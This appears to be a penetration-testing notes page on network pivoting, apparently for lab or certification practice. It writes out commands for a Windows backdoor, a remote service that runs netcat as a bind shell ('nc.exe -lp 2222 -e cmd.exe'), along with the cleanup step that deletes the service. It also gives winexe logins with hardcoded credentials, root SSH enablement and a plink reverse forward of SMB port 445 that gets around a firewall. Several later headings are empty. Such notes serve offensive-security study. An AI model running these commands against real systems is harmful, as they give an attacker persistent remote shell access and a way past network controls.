Pivots

Windows backdoor

  • sc creates: nc listener service

  • cmd dies after 30 seconds - 'takes the bullet'

  • Service continues to run

  • If you dont do this.. you'll have a dead/unresponsive service

sc \\serv1 create ncsvc binpath= "cmd.exe /k c:\Tools\nc.exe -lp 2222 -e cmd.exe"
sc \\serv1 query ncsvc
sc \\serv1 start ncsvc

nc.exe -nv 10.x.x.x 2222 ..Connect!!!
sc \\serv1 delete ncsvc  ..Cleanup
  • If Vuln app is listening to Internal Port

  • Lets forward port on Kali to internal Windows port

Win: Disable ports:
netsh advfirewall set allprofiles state on

kali:
> winexe -U 'admin%password123' --system //192.168.win cmd.exe
connects on 445 by default
now fails

kali:
nc -nvlp 53

pkill --full smbserver.py   ..kill our smb
vim /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart

plink
from makers of PuTTY
win: will connect and port-forward over 445
plink.exe [email protected] -R 445:127.0.0.1:445
                       from kali       local win

connects to kali on 445!

kali:
> winexe -U 'admin%password123' --system //127.0.0.1 cmd.exe
connects on 445 by default
now works!!

Firewall port redirect

  • Send incoming traffic on 8000 to port 80 on 10.3.2.1

SSH Pivots

Local

Reverse

Dynamic

Metasploit Pivots

Socks Proxy Note

Proxychains

  • Scenario: Avoid a 'ban' by routing through another host

  • We are banned by (10.x.x.60)

  • SSH Port Forward (dynamic) to a new box (10.x.x.75)

SSH ProxyJump

SSH Konami Code (pivot)

Last updated

Was this helpful?